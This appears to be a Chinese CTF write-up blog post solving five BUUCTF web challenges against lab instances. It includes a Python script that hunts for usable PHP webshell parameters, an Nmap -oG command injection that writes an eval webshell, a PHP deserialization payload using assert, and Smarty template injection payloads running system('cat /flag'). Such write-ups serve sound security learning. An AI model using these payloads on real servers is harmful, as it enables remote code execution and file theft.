BUUCTF-WEB(51-55)
[强网杯 2019]高明的黑客
参考:[强网杯 2019]高明的黑客(考察代码编写能力)-CSDN博客
网站源码一下,一堆木马,我们需要找到能用的
就是跑脚本
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1 = threading.Semaphore(10)
filePath = r'D:/EdgeDownload/www/src'
os.chdir(filePath) # 切换到工作目录
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False
def get_content(file):
s1.acquire()
print('trying '+file+' '+time.asctime(time.localtime(time.time())))
with open(file,encoding='utf-8') as f:
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) # 匹配GET的参数
posts = list(re.findall('\$_POST\[\'(.*?)\'\]',f.read())) # 匹配POST的参数
params = {} # 所有的$_GET
data = {} # 所有的$_POST
for m in gets:
params[m] = "echo 'xxxx';"
for n in posts:
data[n] = "echo 'xxxx';"
url = 'http://e724c6e7-7d75-4786-a519-0c8ef9d3cccd.node5.buuoj.cn:81/'+file
req = session.post(url,data=data,params=params)
req.close()
req.encoding = 'utf-8'
content = req.text
if 'xxxx' in content:
flag = 0
for a in gets:# 发送GET请求验证
req = session.get(url+'?%s='%a+"echo 'xxxx';")
content = req.text
req.close()
if 'xxxx' in content:
flag = 1
break
if flag != 1:
for b in posts: # 如果不是GET就发送POST
req = session.post(url,data={b:"echo 'xxxx';"})
content = req.text
req.close()
if 'xxxx' in content:
break
if flag == 1:
param = a
else:
param = b
print('找到了利用文件:'+file+'以及利用的参数:'+param)
print('结束时间'+time.asctime(time.localtime(time.time())))
s1.release()
for i in files:
t = threading.Thread(target=get_content,args=(i,))
t.start()
然后就在 xk0SzyKwfzw.php找到Efa5BVG
/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
[ASIS 2019]Unicorn shop
参考:
[BUUCTF ASIS 2019] Unicorn shop_[asis 2019]unicorn shop-CSDN博客
我想买个最贵的马不让买
id=4&price=1337
推测就是需要Unicode码大于1337
我们去compart搜索比1337大的Unicode - Compart
搜索 two thousand
用这一个买马就行了
得到flag
[网鼎杯 2020 朱雀组]Nmap
参考:
[BUUCTF 网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客
[网鼎杯 2020 朱雀组]Nmap 1 - AikNr - 博客园 (cnblogs.com)
考的是namp一个参数的使用
-oG 写入文件,这样我们可以给一句话木马写入
127.0.0.1 | ' <?php eval($_POST['cmd']);?> -oG test.php'
换一下后缀试试
127.0.0.1 | ' <?php eval($_POST['cmd']);?> -oG test.phtml'
还是不行
127.0.0.1 | ' <=php eval($_POST['cmd']);?> -oG test.phtml'
最后这样(注意记得空格,单引号前后)
127.0.0.1 | ' <?= @eval($_POST["cmd"]);?> -oG test.phtml '
可以被解析
连接一下拿到flag
[NPUCTF2020]ReadlezPHP
参考:
【php】assert函数的用法_php assert(-CSDN博客
我们在源码处找到
点进来是个源码
很明显我们需要构造反序列化,就在echo $b($a)处可以触发
那这里我们去使用assert,因为eval的条件很严格,eval()内的php指令需要严格按照双引号包裹,然后里面必须有;
如图所示
第一条指令可以执行,第二条却不行
O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}
这道题也是很幸运,flag就在phpinfo
[CISCN2019 华东南赛区]Web11
打开后,发现会显示你的ip
那他怎么检测出来的,那绝对是XFF,后面又看到他说是基于Smarty搭建
那我们就想到是在XFF这里模块注入,我们试试吧
返回了
所以这让我们模块注入Smarty模板注入&CVE-2017-1000480 - 先知社区 (aliyun.com)
这边我们可以用{if}{/if}
我们先试试phpinfo成功执行
{if phpinfo()}{/if}
接下来我们获取目录
{if system('ls /')}{/if}
获取flag
{if system('cat /flag')}{/if}
热门相关:婚婚欲睡:腹黑老公请节制 婚婚欲醉:腹黑老公萌宠妻 千夫斩 吹神 寻情仙使